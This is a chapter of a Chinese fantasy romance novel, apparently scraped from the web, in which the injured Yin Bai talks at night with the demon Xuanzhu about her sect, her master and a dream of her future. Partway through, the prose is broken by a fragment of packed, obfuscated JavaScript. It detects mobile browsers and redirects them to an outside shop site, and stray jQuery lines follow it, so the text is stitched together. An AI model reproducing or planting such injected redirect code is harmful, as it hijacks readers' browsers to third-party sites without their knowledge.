殷白躺回床上,腰上的伤口止住了血,但还是痛得厉害,她只能侧着身子睡,玄烛继续蜷在地铺上。
夜深人静,她竖起耳朵听后山是不是真有挖坑的声音,但又不敢自己去看,监督一具尸体的工作还是太超前了。
只是想起白天的事,她有些睡不着,僵着身子等了一会:“你睡了吗?”
“没有。”玄烛说。
“你以前是做什么的,”殷白说,“妖都像你这样吗?”
她没指望失忆的玄烛回答她,又接着说:“说不定你其实很厉害呢。”
“本来就是。”
他的语气像是在说“算你识货”。
殷白蹭到床沿,对他说:“你接下来怎么办,回灵洲去吗?”
“你还没把东西还给我,”玄烛说,他的声音也低沉下去,“不过……也许是哪里搞错了。”
“怎么,发现我是一个正直的不会偷东西的好人?”
“是一个没有能力从我这里偷东西的麻烦又脆弱的人。”
殷白:“……”
好气,但是很难反驳,她有些气恼地想翻个身,腰上刚刚有些麻木的伤处又是一痛。
“嗯,我没什么本事,”殷白说,“秦妙妙我打不过,解朦我也打不过,其实他们也没说错,如果不是观又见,我根本做不了长恨门的内门弟子。”
静了一会,玄烛问:“你拜谁为师了?”
殷白说:“我和观又见都拜在秦溯名下,不过……我也没和师尊单独说过话。”
玄烛说:“没听过这个名字,大概没多厉害。”
“才不是!”殷白试图维护长恨门的名声,“五十年前,师尊在天衍会夺得了前十名,是前十名唯二的剑修。”
玄烛说:“前十,具体是第几?”
“……第十名。”殷白听到玄烛的笑声,恼羞成怒补充说,“那可是九洲共举的盛事,前十名很有分量的——不许笑了!你不懂!”
“斗来斗去,又不真死人,”玄烛拖着尾音,“你们人族就对这种过家家一样的比试感兴趣?”
“天衍会很热闹的,”殷白说,“十年才举办一次,不过我入道也才五年,还没亲眼见过。”
下一届天衍会在两年后,在那个神秘的梦里,观又见就是在这一届天衍会里拔得头筹,成为百年来最受瞩目的新秀,被白玉京的城主看中,邀他登上白玉京。
观又见依依不舍地离开了长恨门,殷白这一次却没有办法跟着他,进入传说中的九洲第一城白玉京。观又见向她许诺,等他站稳脚跟,就来接她。
他登上白玉京,也改变了殷白的地位,长恨门对于这只飞出来的凤凰是又爱又恨,怕他飞得太高忘了出身,殷白就是拽住观又见这只风筝的线,又怕他气焰太盛一口吞了长恨门这小门小户,殷白就是劝住他的紧箍咒。
总之,托观又见的福,殷白成了长恨门的顶梁柱。
在梦里,她也没有很开心?
那个梦境的视角混乱,时间顺序也很诡异,有时甚至没什么逻辑,奇怪的是,醒来的殷白却把很多细节都记得清清楚楚,只要一回忆,就能把每件事都想起来。
梦里的一切如此真实。
不出意外的话,她就是会那样度过一生,身处其中的时候不觉得,但隔窗看花时却让她也吓了一跳,离开观又见,她甚至没有独自做过什么决定,就算梦见了自己的死,那时的她也没想好该怎么办,就算离开观又见,她又能去哪?
梦里的事玄烛不会知道,他也不清楚她是怎么亦步亦趋跟在观又见身后走到现在的。
从狭窄的田埂出发,观又见和她出逃的夜晚,月亮洒了一地的粗盐,那个时候什么也没有,所以什么都不怕。他们一直跑,跑到长恨门来,观又见抽出了自己的第一把剑,而殷白却没能和任何一把剑共鸣,观又见安慰她,说“他会成为她手里最好的剑”。后来拜入内门时秦溯不想收殷白为徒,观又见却说,殷白到哪里他就会去哪里,如果殷白不能留下,他也会离开,殷白原本低着头,却在那个时候用余光偷偷看他,看到他抿着唇紧盯着秦溯,藏在袖子里的手却缓缓伸过来,握住了她的手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653610|206894||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>殷白那句“我不学剑也好”就被咽了下去。
学剑也好,不学也罢。刀光剑影是离殷白太遥远的东西,只要能握住观又见的手就好,只要他一直站在他面前就好……
这样就好……
到底好在哪呢?
直到银发的少年出现在她面前。
“喂。”
“殷白!”
殷白转过脸,脸颊正好抵上了玄烛的鼻尖,她的视野被金色的满月占满,玄烛很不高兴地说:“你听到我说话了吗?”
“听到了听到了,”殷白用指尖把他的脸抵开,“你刚刚说什么?”
“你在干什么?”他问,“感觉你好像去了很远的地方。”
“我在想……”殷白突然有点不好意思,她避开玄烛的注视,盯着窗边投下的月光说,“捡到你还挺好的。”
玄烛说:“好在哪?给你带来麻烦?”
他还在介意白天的事,殷白只觉得好笑,她伸手弹了下他的额头,满意地看见玄烛气鼓鼓地捂着额头躺下了,顺便离她远了点。
“把你带回来是我自己选的,”殷白说,“给你取的名字也是我自己选的,今天的事情也是我自己选的,这样就够了。”
玄烛:“……”
“我去看看他把自己埋好了没。”他又坐起身来,跑出了门。
殷白觉得他挺好玩的,没忍住笑出声,牵扯得伤口又开始发作,只好平躺着盯着天花板,静静感受腰上的闷痛。
她一直是等待的那个人。
对于外界,她只有被动应付的能力。她在岸边看着死水一潭,只有丢入小石头把她砸痛,才会泛起涟漪,如果是玄烛这样的巨石砸进来,还能掀起滔天巨浪。
比起梦里那仓促而残忍的死,在死之前她度过无知无觉的一生更加可怕。
她站在岸边太久了,久到她忘掉了自己的鱼鳍和尾巴,直到鱼钩把她从沉沉大梦里钓出来,她才发现自己渴望的居然是跳入这漩涡中。
让风暴降临,雪白的闪电之中,她才能看清自己,看清这颗心。